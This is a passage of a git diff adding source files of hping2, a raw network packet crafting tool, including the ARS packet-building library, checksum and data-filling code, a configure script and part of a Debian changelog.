fix, and send the packet */ +int ars_send(int s, struct ars_packet *pkt, struct sockaddr *sa, socklen_t slen) +{ + struct sockaddr_in sain; + struct sockaddr *_sa = sa; + unsigned char *packet; + size_t size; + int error; + + /* Perform the socket address completion if sa == NULL */ + if (sa == NULL) { + struct ars_iphdr *ip; + + memset(&sain, 0, sizeof(sain)); + sain.sin_family = AF_INET; + /* The first layer MUST be IP if the user requested + * the socket address completion */ + if (pkt->p_layer[0].l_type != ARS_TYPE_IP) { + ars_set_error(pkt, "socket address completion" + "requested, but layer 0 isn't IP"); + return -ARS_ERROR; + } + ip = (struct ars_iphdr*) pkt->p_layer[0].l_data; + memcpy(&sain.sin_addr.s_addr, &ip->daddr, 4); + _sa = (struct sockaddr*) &sain; + slen = sizeof(sain); + } + if ((error = ars_build_packet(pkt, &packet, &size)) != ARS_OK) + return error; + if ((error = ars_bsd_fix(pkt, packet, size)) != ARS_OK) + return error; + error = sendto(s, packet, size, 0, _sa, slen); + free(packet); + return (error != -1) ? -ARS_OK : -ARS_ERROR; +} + +/* Resolve an hostname and write to 'dest' the IP */ +int ars_resolve(struct ars_packet *pkt, u_int32_t *dest, char *hostname) +{ + struct sockaddr_in sa; + + if (inet_aton(hostname, &sa.sin_addr) == 0) { + struct hostent *he; + he = gethostbyname(hostname); + if (he == NULL) { + ars_set_error(pkt, "Can't resolve the hostname"); + return -ARS_ERROR; + } + sa.sin_addr.s_addr = ((struct in_addr*) he->h_addr)->s_addr; + } + memcpy(dest, &sa.sin_addr.s_addr, sizeof(u_int32_t)); + return -ARS_OK; +} diff --git a/ars.h b/ars.h new file mode 100644 index 0000000..4e32f05 --- /dev/null +++ b/ars.h @@ -0,0 +1,450 @@ +/* Copyright (C) 2000,2001 Salvatore Sanfilippo + * See the LICENSE file for more information. */ + +/* $Id: ars.h,v 1.3 2003/07/28 09:00:55 njombart Exp $ */ + +#ifndef _ARS_H +#define _ARS_H + +/* define before including sys/socket.h */ +#if defined(__APPLE__) +#define _BSD_SOCKLEN_T_ int +#endif + +#include +#include +#include "systype.h" +#include "in.h" +#include "bytesex.h" + +#ifndef TRUE +#define TRUE 1 +#define FALSE 0 +#endif + + +#ifndef MIN +#define MIN(x,y) ((x)<(y)?(x):(y)) +#endif + +#ifndef MAX +#define MAX(x,y) ((x)>(y)?(x):(y)) +#endif + +#ifdef DEBUG +#define __D(x) x +#else +#define __D(x) do { } while (0); +#endif + +#ifndef __u8 +#define __u8 u_int8_t +#define __u16 u_int16_t +#define __u32 u_int32_t +#endif + +/* error codes */ +#define ARS_OK 0 +#define ARS_ERROR 1 +#define ARS_NOSPACE 2 +#define ARS_NOMEM 3 +#define ARS_INVALID 4 + +/* Headers size */ +#define ARS_ICMPHDR_SIZE sizeof(struct ars_icmphdr) +#define ARS_UDPHDR_SIZE sizeof(struct ars_udphdr) +#define ARS_TCPHDR_SIZE sizeof(struct ars_tcphdr) +#define ARS_IPHDR_SIZE sizeof(struct ars_iphdr) +#define ARS_PSEUDOHDR_SIZE sizeof(struct pseudohdr) + +/* IP defines */ +#define ARS_MAX_IP_SIZE 65535 + +#define ARS_IP_MF ((unsigned short)0x2000) /* more fragments */ +#define ARS_IP_DF ((unsigned short)0x4000) /* dont fragment */ +#define ARS_IP_RF ((unsigned short)0x8000) /* reserved fragment flag */ + +#define ARS_IPOPT_COPY 0x80 +#define ARS_IPOPT_CLASS_MASK 0x60 +#define ARS_IPOPT_NUMBER_MASK 0x1f + +#define ARS_IPOPT_COPIED(o) ((o)&ARS_IPOPT_COPY) +#define ARS_IPOPT_CLASS(o) ((o)&ARS_IPOPT_CLASS_MASK) +#define ARS_IPOPT_NUMBER(o) ((o)&ARS_IPOPT_NUMBER_MASK) + +#define ARS_IPOPT_CONTROL 0x00 +#define ARS_IPOPT_RESERVED1 0x20 +#define ARS_IPOPT_MEASUREMENT 0x40 +#define ARS_IPOPT_RESERVED2 0x60 + +#define ARS_IPOPT_END (0 |ARS_IPOPT_CONTROL) +#define ARS_IPOPT_NOOP (1 |ARS_IPOPT_CONTROL) +#define ARS_IPOPT_SEC (2 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) +#define ARS_IPOPT_LSRR (3 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) +#define ARS_IPOPT_TIMESTAMP (4 |ARS_IPOPT_MEASUREMENT) +#define ARS_IPOPT_RR (7 |ARS_IPOPT_CONTROL) +#define ARS_IPOPT_SID (8 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) +#define ARS_IPOPT_SSRR (9 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) +#define ARS_IPOPT_RA (20|ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) + +#define ARS_IPOPT_OPTVAL 0 +#define ARS_IPOPT_OLEN 1 +#define ARS_IPOPT_OFFSET 2 +#define ARS_IPOPT_MINOFF 4 +#define ARS_MAX_IPOPTLEN 40 +#define ARS_IPOPT_NOP ARS_IPOPT_NOOP +#define ARS_IPOPT_EOL ARS_IPOPT_END +#define ARS_IPOPT_TS ARS_IPOPT_TIMESTAMP + +#define ARS_IPOPT_TS_TSONLY 0 /* timestamps only */ +#define ARS_IPOPT_TS_TSANDADDR 1 /* timestamps and addresses */ +#define ARS_IPOPT_TS_PRESPEC 3 /* specified modules only */ + +/* IPV4 and IPV6 string rappresentation len */ +#define ARS_INET_ADDRSTRLEN 16 +#define ARS_INET6_ADDRSTRLEN 46 + +/* TCP */ +#define ARS_TCPOPT_EOL 0 +#define ARS_TCPOPT_NOP 1 +#define ARS_TCPOPT_MAXSEG 2 +#define ARS_TCPOPT_WINDOW 3 +#define ARS_TCPOPT_SACK_PERM 4 +#define ARS_TCPOPT_SACK 5 +#define ARS_TCPOPT_ECHOREQUEST 6 +#define ARS_TCPOPT_ECHOREPLY 7 +#define ARS_TCPOPT_TIMESTAMP 8 + +#define ARS_TCP_TH_FIN 0x01 +#define ARS_TCP_TH_SYN 0x02 +#define ARS_TCP_TH_RST 0x04 +#define ARS_TCP_TH_PUSH 0x08 +#define ARS_TCP_TH_ACK 0x10 +#define ARS_TCP_TH_URG 0x20 +#define ARS_TCP_TH_X 0x40 /* X tcp flag */ +#define ARS_TCP_TH_Y 0x80 /* Y tcp flag */ + +/* ICMP TYPE */ +#define ARS_ICMP_ECHOREPLY 0 /* Echo Reply */ +#define ARS_ICMP_DEST_UNREACH 3 /* Destination Unreachable */ +#define ARS_ICMP_SOURCE_QUENCH 4 /* Source Quench */ +#define ARS_ICMP_REDIRECT 5 /* Redirect (change route) */ +#define ARS_ICMP_ECHO 8 /* Echo Request */ +#define ARS_ICMP_TIME_EXCEEDED 11 /* Time Exceeded */ +#define ARS_ICMP_PARAMETERPROB 12 /* Parameter Problem */ +#define ARS_ICMP_TIMESTAMP 13 /* Timestamp Request */ +#define ARS_ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */ +#define ARS_ICMP_INFO_REQUEST 15 /* Information Request */ +#define ARS_ICMP_INFO_REPLY 16 /* Information Reply */ +#define ARS_ICMP_ADDRESS 17 /* Address Mask Request */ +#define ARS_ICMP_ADDRESSREPLY 18 /* Address Mask Reply */ + +/* Codes for UNREACHABLE */ +#define ARS_ICMP_UNR_NET 0 /* Network Unreachable */ +#define ARS_ICMP_UNR_HOST 1 /* Host Unreachable */ +#define ARS_ICMP_UNR_PROT 2 /* Protocol Unreachable */ +#define ARS_ICMP_UNR_PORT 3 /* Port Unreachable */ +#define ARS_ICMP_UNR_FRAG_NEEDED 4 /* Fragmentation Needed,DF set*/ +#define ARS_ICMP_UNR_SR_FAILED 5 /* Source Route failed */ +#define ARS_ICMP_UNR_UNK_NET 6 +#define ARS_ICMP_UNR_UNK_HOST 7 +#define ARS_ICMP_UNR_ISOLATED_HOST 8 +#define ARS_ICMP_UNR_NET_ANO 9 +#define ARS_ICMP_UNR_HOST_ANO 10 +#define ARS_ICMP_UNR_NET_UNR_TOS 11 +#define ARS_ICMP_UNR_HOST_UNR_TOS 12 +#define ARS_ICMP_UNR_PKT_FILTERED 13 /* Packet filtered */ +#define ARS_ICMP_UNR_PREC_VIOLATION 14 /* Precedence violation */ +#define ARS_ICMP_UNR_PREC_CUTOFF 15 /* Precedence cut off */ +#define ARS_NR_ICMP_UNREACH 15 /* Instead of hardcoded immediate value */ + +/* Codes for REDIRECT */ +#define ARS_ICMP_REDIR_NET 0 /* Redirect Net */ +#define ARS_ICMP_REDIR_HOST 1 /* Redirect Host */ +#define ARS_ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */ +#define ARS_ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */ + +/* Codes for TIME_EXCEEDED */ +#define ARS_ICMP_EXC_TTL 0 /* TTL count exceeded */ +#define ARS_ICMP_EXC_FRAGTIME 1 /* TTL exceeded reassembling */ + +/* The IP header structure */ +struct ars_iphdr { +#if defined(BYTE_ORDER_LITTLE_ENDIAN) + __u8 ihl:4, + version:4; +#elif defined (BYTE_ORDER_BIG_ENDIAN) + __u8 version:4, + ihl:4; +#else +#error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN" +#endif + __u8 tos; + __u16 tot_len; + __u16 id; + __u16 frag_off; + __u8 ttl; + __u8 protocol; + __u16 check; + __u32 saddr; + __u32 daddr; +}; + +/* The IP options structure */ +struct ars_ipopt { + u_int8_t kind; + u_int8_t len; + union { + struct { + u_int16_t s; + u_int16_t c; + u_int16_t h; + u_int8_t tcc[3]; + } sec; /* security */ + struct { + u_int8_t ptr; + u_int8_t data[37]; + } src; /* loose and strinct source routing */ + struct { + u_int8_t ptr; + u_int8_t data[37]; + } rr; /* record route */ + struct { + u_int16_t id; + } sid; /* stream id */ + struct { + u_int8_t ptr; + u_int8_t flags; + u_int8_t data[36]; + } tstamp; /* timestamp */ + } un; +}; + +/* The UDP header structure */ +struct ars_udphdr { + __u16 uh_sport; /* source port */ + __u16 uh_dport; /* destination port */ + __u16 uh_ulen; /* udp length */ + __u16 uh_sum; /* udp checksum */ +}; + +/* The TCP header structure */ +struct ars_tcphdr { + __u16 th_sport; /* source port */ + __u16 th_dport; /* destination port */ + __u32 th_seq; /* sequence number */ + __u32 th_ack; /* acknowledgement number */ +#if defined (BYTE_ORDER_LITTLE_ENDIAN) + __u8 th_x2:4, /* (unused) */ + th_off:4; /* data offset */ +#elif defined (BYTE_ORDER_BIG_ENDIAN) + __u8 th_off:4, /* data offset */ + th_x2:4; /* (unused) */ +#else +#error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN" +#endif + __u8 th_flags; + __u16 th_win; /* window */ + __u16 th_sum; /* checksum */ + __u16 th_urp; /* urgent pointer */ +}; + +/* The TCP options structure */ +struct ars_tcpopt { + u_int8_t kind; + u_int8_t len; + union { + struct { + u_int16_t size; + } mss; + struct { + u_int8_t shift; + } win; + struct { + u_int16_t origin; + u_int16_t size; + } sack[10]; /* 10 SACK blocks in 44 bytes of space */ + struct { + u_int8_t info[4]; + } echo; + struct { + u_int8_t tsval[4]; + u_int8_t tsecr[4]; + } timestamp; + } un; +}; + +/* The ICMP header structure */ +struct ars_icmphdr +{ + __u8 type; + __u8 code; + __u16 checksum; + union + { + struct + { + __u16 id; + __u16 sequence; + } echo; /* called echo since it's the most used */ + __u32 gateway; + } un; +}; + +/* TCP/UDP pseudo header used to compute the checksum */ +struct ars_pseudohdr +{ + __u32 saddr; + __u32 daddr; + __u8 zero; + __u8 protocol; + __u16 lenght; +}; + +struct ars_packet; /* forward declaration */ + +/* ARS layer */ +struct ars_layer { + int l_type; + int l_size; + int l_flags; + void *l_data; + struct ars_packet *l_packet; +}; + +#define ARS_MAX_LAYER 16 + +/* Types */ +#define ARS_TYPE_SIZE 32 +#define ARS_TYPE_NULL 0 +#define ARS_TYPE_IP 1 +#define ARS_TYPE_IPOPT 2 +#define ARS_TYPE_ICMP 3 +#define ARS_TYPE_UDP 4 +#define ARS_TYPE_TCP 5 +#define ARS_TYPE_TCPOPT 6 +#define ARS_TYPE_DATA 31 + +/* ARS packet context */ +struct ars_packet { + char *p_error; + int p_layer_nr; + struct ars_layer p_layer[ARS_MAX_LAYER]; + void *p_default[ARS_TYPE_SIZE]; + int aux; /* Auxiliar variable for data exchange between functions */ +}; + +/* Facility to check for flags */ +#define ARS_TAKE(f,x) (f & x) +#define ARS_DONTTAKE(f, x) (!(f & x)) +#define ARS_TAKE_NONE 0 + +/* IP layer flags */ +#define ARS_TAKE_IP_VERSION (1 << 0) +#define ARS_TAKE_IP_HDRLEN (1 << 1) +#define ARS_TAKE_IP_TOTLEN (1 << 2) +#define ARS_TAKE_IP_PROTOCOL (1 << 3) +#define ARS_TAKE_IP_CKSUM (1 << 4) + +/* ICMP layer flags */ +#define ARS_TAKE_ICMP_CKSUM (1 << 0) + +/* UDP layer flags */ +#define ARS_TAKE_UDP_CKSUM (1 << 0) +#define ARS_TAKE_UDP_LEN (1 << 1) + +/* TCP layer flags */ +#define ARS_TAKE_TCP_HDRLEN (1 << 0) +#define ARS_TAKE_TCP_CKSUM (1 << 1) + +/* Some function that acts on layer switch to the last layer with this */ +#define ARS_LAST_LAYER -1 + +/* Structure and defines needed to calculate the internet-like checksum + * when the data is splitted in more not adjacent buffers */ +#define ARS_MC_INIT 0 +#define ARS_MC_UPDATE 1 +#define ARS_MC_FINAL 2 + +struct mc_context { + u_int32_t oddbyte_flag; + u_int32_t old; + u_int8_t oddbyte; + u_int8_t pad; +}; + +/* ARS layer info structure */ +struct ars_layer_info { + char *li_name; /* NULL = unused slot */ + int (*li_compiler) (struct ars_packet *pkt, int layer); /* NULL = NOP */ + int layer_id; +}; + +/* ARS layer info table */ +struct ars_layer_info ars_linfo[ARS_TYPE_SIZE]; + +/* ARS interface managment structure and defines */ +#define ARS_IF_UP (1 << 0) +#define ARS_IF_LOOP (1 << 1) +#define ARS_IF_IPV4 (1 << 2) +#define ARS_IF_IPV6 (1 << 3) +#define ARS_IF_MISCONF (1 << 4) + +#define ARS_IF_MAX_IFACE 16 +#define ARS_IF_NAME_SIZE 32 + +/* iface type are obtained using libpcap to avoid efforts duplication */ +struct ars_iface { + char if_name[ARS_IF_NAME_SIZE]; + int if_mtu; + int if_flags; + char if_ipv4addr[ARS_INET_ADDRSTRLEN]; + char if_ipv6addr[ARS_INET6_ADDRSTRLEN]; +}; + +/* Flags for packet splitting */ +#define ARS_SPLIT_FTRUNC (1 << 0) +#define ARS_SPLIT_FBADCKSUM (1 << 1) + +/* More macros */ +#define ars_atou(x) strtoul(x, (char **) NULL, 0) + +/* Prototypes */ +int ars_init(struct ars_packet *pkt); +int ars_destroy(struct ars_packet *pkt); +int ars_nospace(struct ars_packet *pkt); +int ars_add_generic(struct ars_packet *pkt, size_t size, int type); +void *ars_add_iphdr(struct ars_packet *pkt, int unused); +void *ars_add_ipopt(struct ars_packet *pkt, int option); +void *ars_add_udphdr(struct ars_packet *pkt, int unused); +void *ars_add_tcphdr(struct ars_packet *pkt, int unused); +void *ars_add_tcpopt(struct ars_packet *pkt, int option); +void *ars_add_icmphdr(struct ars_packet *pkt, int unused); +void *ars_add_data(struct ars_packet *pkt, int size); +size_t ars_relative_size(struct ars_packet *pkt, int layer_nr); +size_t ars_packet_size(struct ars_packet *pkt); +u_int16_t ars_cksum(void *vbuf, size_t nbytes); +u_int16_t ars_multi_cksum(struct mc_context *c, int op, void *vbuf, size_t nbytes); +int ars_compile(struct ars_packet *pkt); +int ars_udptcp_cksum(struct ars_packet *pkt, int layer, u_int16_t *sum); +int ars_open_rawsocket(struct ars_packet *pkt); +int ars_build_packet(struct ars_packet *pkt, unsigned char **packet, size_t *size); +int ars_bsd_fix(struct ars_packet *pkt, unsigned char *packet, size_t size); +int ars_set_flags(struct ars_packet *pkt, int layer, int flags); +int ars_send(int s, struct ars_packet *pkt, struct sockaddr *sa, socklen_t slen); +int ars_resolve(struct ars_packet *pkt, u_int32_t *dest, char *hostname); +int ars_set_error(struct ars_packet *pkt, char *error); +int ars_d_build(struct ars_packet *pkt, char *t); +int ars_valid_layer(int layer); +int ars_get_iface_list(struct ars_iface *iface, size_t *isize); +int ars_get_iface(char *name, struct ars_iface *i); +int ars_valid_layer(int layer); +int ars_remove_layer(struct ars_packet *pkt, int layer); + +/* split.c prototypes */ +int ars_seems_ip(struct ars_iphdr *ip, size_t size); +int ars_guess_ipoff(void *packet, size_t size, int *lhs); +int ars_check_ip_cksum(struct ars_iphdr *ip); +int ars_check_icmp_cksum(struct ars_icmphdr *icmp, size_t size); +int ars_split_packet(void *packet, size_t size, int ipoff, struct ars_packet *pkt); +#endif /* _ARS_H */ diff --git a/arsglue.c b/arsglue.c new file mode 100644 index 0000000..f7e89d6 --- /dev/null +++ b/arsglue.c @@ -0,0 +1,32 @@ +/* Glue between hping and the ars engine */ + +#include +#include +#include "ars.h" + +/* Send the APD described packet {s} */ +void hping_ars_send(char *apd) +{ + struct ars_packet p; + int s; + + ars_init(&p); + s = ars_open_rawsocket(&p); + if (s == -ARS_ERROR) { + perror("Opening raw socket"); + exit(1); + } + if (ars_d_build(&p, apd) != -ARS_OK) { + fprintf(stderr, "APD error: %s\n", p.p_error); + exit(1); + } + if (ars_compile(&p) != -ARS_OK) { + fprintf(stderr, "APD error compiling: %s\n", p.p_error); + exit(1); + } + if (ars_send(s, &p, NULL, 0) != -ARS_OK) { + perror("Sending the packet"); + exit(1); + } + exit(0); +} diff --git a/binding.c b/binding.c new file mode 100644 index 0000000..8bfc1f0 --- /dev/null +++ b/binding.c @@ -0,0 +1,55 @@ +/* + * $smu-mark$ + * $name: binding.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:46 MET 1999$ + * $rev: 11$ + */ + +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +void inc_destparm(int sid) +{ + static long sec = 0; + static long usec = 0; + int *p; + int errno_save = errno; + + switch (ctrlzbind) { + case BIND_DPORT: + p = &dst_port; + break; + case BIND_TTL: + p = &src_ttl; + break; + default: + printf("error binding ctrl+z\n"); + /* errno = errno_save; */ + return; + } + + if ( (time(NULL) == sec) && ((get_usec() - usec) < 200000) ) { + if (*p > 0) + (*p)-=2; + if (*p < 0) + *p=0; + } else + (*p)++; + + printf("\b\b\b\b\b\b\b\b\b"); + printf("%d: ", *p); + fflush(stdout); + + sec = time(NULL); + usec = get_usec(); + signal(SIGTSTP, inc_destparm); + errno = errno_save; +} diff --git a/byteorder b/byteorder new file mode 100644 index 0000000..e8b345e Binary files /dev/null and b/byteorder differ diff --git a/byteorder.c b/byteorder.c new file mode 100644 index 0000000..20b44a6 --- /dev/null +++ b/byteorder.c @@ -0,0 +1,85 @@ +#if 0 +# +# Compile with: +# $sh byteorder.c +# +cc byteorder.c -o byteorder || exit 1 +echo successfully compiled +exit +#endif /* 0 */ + +/* + * $smu-mark$ + * $name: byteorder.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 9$ + */ + +/* + * 0.1 first version + * 0.2 add Strchr, so it's possibile remove string.h + * 0.3 more portable thx to Pancrazio De Mauro 'TrantIT'!!! + * 0.4 better debug output + */ + +#include + +char *Strchr(char *s, char c) +{ + while(*s) + if (*s++ == c) + return s; + + return (char*) 0; +} + +int main(int argc, char **argv) +{ + unsigned int test = 1; + unsigned char *x; + int macro = 0, debug = 0, help = 0, j; + + for (j = 1; j < argc; j++) { + if (Strchr(argv[j], 'm')) macro = 1; + if (Strchr(argv[j], 'd')) debug = 1; + if (Strchr(argv[j], 'h')) help = 1; + } + + if (help) { + printf( "-m macro output\n" + "-d debug\n" + "-h help\n"); + return 0; + } + + x = (unsigned char*) &test; + + if (*x == 0x00) { + if (macro) + printf("__BIG_ENDIAN_BITFIELD\n"); + else + printf("big endian\n"); + } + else if (*x == 0x01) { + if (macro) + printf("__LITTLE_ENDIAN_BITFIELD\n"); + else + printf("little endian\n"); + } else { + printf("\nWARNING!!! byteorder exception\n\n"); + debug = 1; + } + + if (debug) { + printf("sizeof(unsigned int) = %d\n", sizeof(unsigned int)); + printf("unsigned int test = 1;\n"); + printf("in memory as: "); + for (j = 0; j < sizeof(unsigned int); j++) + printf("%02x ", x[j]); + printf("\n"); + } + return 0; +} diff --git a/byteorder.h b/byteorder.h new file mode 100644 index 0000000..a79fdac --- /dev/null +++ b/byteorder.h @@ -0,0 +1,8 @@ +#ifndef __BYTEORDER_H +#define __BYTEORDER_H + +#ifndef __LITTLE_ENDIAN_BITFIELD +#define __LITTLE_ENDIAN_BITFIELD +#endif /* __LITTLE_ENDIAN_BITFIELD */ + +#endif /* __BYTEORDER_H */ diff --git a/bytesex.h b/bytesex.h new file mode 100644 index 0000000..4b78483 --- /dev/null +++ b/bytesex.h @@ -0,0 +1,20 @@ +/* Original code from the Linux C library */ +/* Copyright (C) 2000,2001 Salvatore Sanfilippo + * This code is under the original GNU C library license (GPL) */ + +/* $Id: bytesex.h,v 1.3 2003/07/28 09:00:55 njombart Exp $ */ + +#ifndef ARS_BYTESEX_H +#define ARS_BYTESEX_H + +#include + +#if __BYTE_ORDER == __LITTLE_ENDIAN +#define BYTE_ORDER_LITTLE_ENDIAN +#elif __BYTE_ORDER == __BIG_ENDIAN +#define BYTE_ORDER_BIG_ENDIAN +#else +# error can not find the byte order for this architecture, fix bytesex.h +#endif + +#endif /* ARS_BYTESEX_H */ diff --git a/cksum.c b/cksum.c new file mode 100644 index 0000000..e84199f --- /dev/null +++ b/cksum.c @@ -0,0 +1,41 @@ +/* + * $smu-mark$ + * $name: cksum.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 8$ + */ + +#include "hping2.h" /* only for arch semi-indipendent data types */ +#include "globals.h" + +/* + * from R. Stevens's Network Programming + */ +__u16 cksum(__u16 *buf, int nbytes) +{ + __u32 sum; + __u16 oddbyte; + + sum = 0; + while (nbytes > 1) { + sum += *buf++; + nbytes -= 2; + } + + if (nbytes == 1) { + oddbyte = 0; + *((__u16 *) &oddbyte) = *(__u16 *) buf; + sum += oddbyte; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + + /* return a bad checksum with --badcksum option */ + if (opt_badcksum) sum ^= 0x5555; + + return (__u16) ~sum; +} diff --git a/configure b/configure new file mode 100644 index 0000000..54f9a45 --- /dev/null +++ b/configure @@ -0,0 +1,117 @@ +#!/bin/sh + +show_help() +{ + echo configure help: + echo "--help show this help" + echo "--force-libpcap build a libpcap based binary under linux" + echo " even if uid != euid" +} + +if [ "$1" = "--help" ]; then + show_help + exit 0 +fi + +CC=${CC:=cc} + +echo build byteorder.c... +$CC byteorder.c -o byteorder || exit 1 + +INSTALL_MANPATH=`echo $MANPATH|cut -f1 -d:` +if [ "$INSTALL_MANPATH" = "" ]; then + INSTALL_MANPATH="/usr/local/man" +fi +BYTEORDER=`./byteorder -m` + +echo create byteorder.h... +cat > byteorder.h <> byteorder.h +echo \#define $BYTEORDER >> byteorder.h +echo \#endif /\* $BYTEORDER \*/ >> byteorder.h +cat >> byteorder.h < Makefile + +# +# +# + +cat > systype.h <> systype.h +cat >> systype.h <$ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include +#include +#include +#include /* memset */ + +#include "hping2.h" +#include "globals.h" + +void datafiller(char *p, int size) +{ + static int fd = 0; + int readed, diff; + + if (!fd) { + fd = open(datafilename, O_RDONLY); + if (fd == -1) { + perror("[datafiller] open()"); + fd = 0; /* will retry to open the file for + * the next packet */ + memset(p, 'X', size); + return; + } + } + + if (p == NULL && fd != -1) { /* seek operation */ + /* size-1 because packet with id 1 start from 0 */ + lseek(fd, (data_size-signlen)*(size-1), SEEK_SET); + return; + } + +restart: /* if EOF occurs, after rewind, restart */ + + readed = read(fd, p, size); + if (readed == size) + return; + else if (readed == -1) { + perror("[datafiller] read()"); + close(fd); + fd = 0; /* will retry to open the file for the next packet */ + memset(p, 'X', size); + return; + } + else if (readed < size && opt_end == FALSE) { + lseek(fd, 0, SEEK_SET); + if (readed == 0) + goto restart; + } + else if (readed < size && opt_end == TRUE) { + fprintf(stderr, "EOF reached, wait some second than press " + "ctrl+c\n"); + eof_reached = TRUE; + } else { + printf("[datafiller.c INTERNAL ERROR] readed = %d - " + "opt_end == %d\n", readed, opt_end); + exit(1); + } + diff = size - readed; + memset(p+readed, '\0', diff); /* padding */ + lseek(fd, 0, SEEK_SET); + return; +} diff --git a/datahandler.c b/datahandler.c new file mode 100644 index 0000000..20c50f3 --- /dev/null +++ b/datahandler.c @@ -0,0 +1,39 @@ +/* + * $smu-mark$ + * $name: datahandler.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 8$ + */ + +#include + +#include "hping2.h" +#include "globals.h" + +void data_handler(char *data, int data_size) +{ + if (opt_listenmode) { /* send an HCMP */ + memcpy(data, rsign, signlen); /* ok, write own reverse sign */ + data+=signlen; + data_size-=signlen; + memcpy(data, hcmphdr_p, data_size); + return; /* done */ + } + + if (opt_sign) { + memcpy(data, sign, signlen); /* lenght pre-checked */ + data+=signlen; + data_size-=signlen; + } + + if (data_size == 0) + return; /* there is not space left */ + + if (opt_datafromfile) + datafiller(data, data_size); + else + memset(data, 'X', data_size); +} diff --git a/debian/changelog b/debian/changelog new file mode 100644 index 0000000..1c50d11 --- /dev/null +++ b/debian/changelog @@ -0,0 +1,152 @@ +hping2 (2.rc3-4) unstable; urgency=low + + * Apply man page patch from Timo Juhani Lindfors + (closes: #342485). + + * debian/compat: New file, switch to compat level 5. + * debian/rules: Remove obsolete DH_COMPAT variable. + * debian/control: Bump Standards-Version to 3.6.2.1, no changes needed. + + -- Romain Francoise Sat, 10 Dec 2005 14:35:24 +0100 + +hping2 (2.rc3-3) unstable; urgency=low + + * Revert previous patch and really fix bytesex.h by using endian.h and + not doing all the work all over again; fixes FTBFS on several other + archs. + + -- Romain Francoise Mon, 21 Jun 2004 23:32:21 +0200 + +hping2 (2.rc3-2) unstable; urgency=low + + * Apply patch from Frederik Schueler to fix + FTBFS on amd64 (closes: #255444). + + -- Romain Francoise Mon, 21 Jun 2004 07:51:58 +0200 + +hping2 (2.rc3-1) unstable; urgency=low + + * New upstream release. + * Fix 'ambigous' typo in antigetopt.c. + + -- Romain Francoise Sun, 20 Jun 2004 16:34:57 +0200 + +hping2 (2.rc2-5) unstable; urgency=low + + * New maintainer (closes: #249573). + * debian/control: + + Update maintainer contact information. + + Reword description. + * debian/copyright: Mention maintainer change. + + -- Romain Francoise Sat, 22 May 2004 20:15:28 +0200 + +hping2 (2.rc2-4) unstable; urgency=low + + * Fixed typo in file statistics.c (closes: #236517). + + -- Domenico Andreoli Sun, 7 Mar 2004 04:35:42 +0100 + +hping2 (2.rc2-3) unstable; urgency=low + + * Removed duplicate files (closes: #208946). + + -- Domenico Andreoli Sat, 3 Jan 2004 04:58:51 +0100 + +hping2 (2.rc2-2) unstable; urgency=low + + * Applied patch for ATM, WLAN and Token Ring support (closes: #193436). + + -- Domenico Andreoli Sun, 18 May 2003 15:01:54 +0200 + +hping2 (2.rc2-1) unstable; urgency=low + + * New upstream release. + + -- Domenico Andreoli Mon, 20 Jan 2003 23:41:29 +0100 + +hping2 (2.rc1-2) unstable; urgency=low + + * Fixed a typo in hping2 description (Closes: #124740). + + -- Domenico Andreoli Fri, 18 Jan 2002 21:15:22 +0100 + +hping2 (2.rc1-1) unstable; urgency=low + + * New upstream release. + * Now french man page gets installed. + + -- Domenico Andreoli Fri, 17 Aug 2001 01:38:38 +0200 + +hping2 (2.beta55-1) unstable; urgency=low + + * New upstream release. + + -- Domenico Andreoli Wed, 1 Aug 2001 14:40:30 +0200 + +hping2 (2.beta54-9) unstable; urgency=low + + * Fixed the option parsing code (Closes: #90114). + + -- Domenico Andreoli Thu, 29 Mar 2001 15:28:16 +0200 + +hping2 (2.beta54-8) unstable; urgency=low + + * Added versioned Build-Depend for debhelper. + + -- Domenico Andreoli Tue, 6 Mar 2001 15:17:20 +0100 + +hping2 (2.beta54-7) unstable; urgency=low + + * Switched to debhelper compatibility version 2. + * Added some missing includes for header files. hping2 became not + succesfully compilable after some recent upgrade of libc6. + + -- Domenico Andreoli Wed, 28 Feb 2001 15:58:24 +0100 + +hping2 (2.beta54-6) unstable; urgency=low + + * Made some adjustments in postinst and in prerm to cope with + dpkg-statoverride. + * Removed the Build-Dependency on libtool since this package doesn't + use it in the build process. I really don't remember why I put it there. + + -- Domenico Andreoli Mon, 12 Feb 2001 16:00:13 +0100 + +hping2 (2.beta54-5) unstable; urgency=low + + * Reordered documentation files. + * Added hping2's author warning about hping2 being installed as + suid to debconf explanation. Question asked by debconf should be + more clear and hopefully authoritative. + + -- Domenico Andreoli Wed, 6 Sep 2000 15:33:06 +0200 + +hping2 (2.beta54-4) unstable; urgency=low + + * Fixed wrong Build-Depends, added debconf to Depends. + + -- Domenico Andreoli Mon, 4 Sep 2000 00:01:38 +0200 + +hping2 (2.beta54-3) unstable; urgency=low + + * Fixed overwriting of /usr/share/man/man3/pcap.3.gz (Closes: #70490). + Now pcap.3.gz is not installed at all 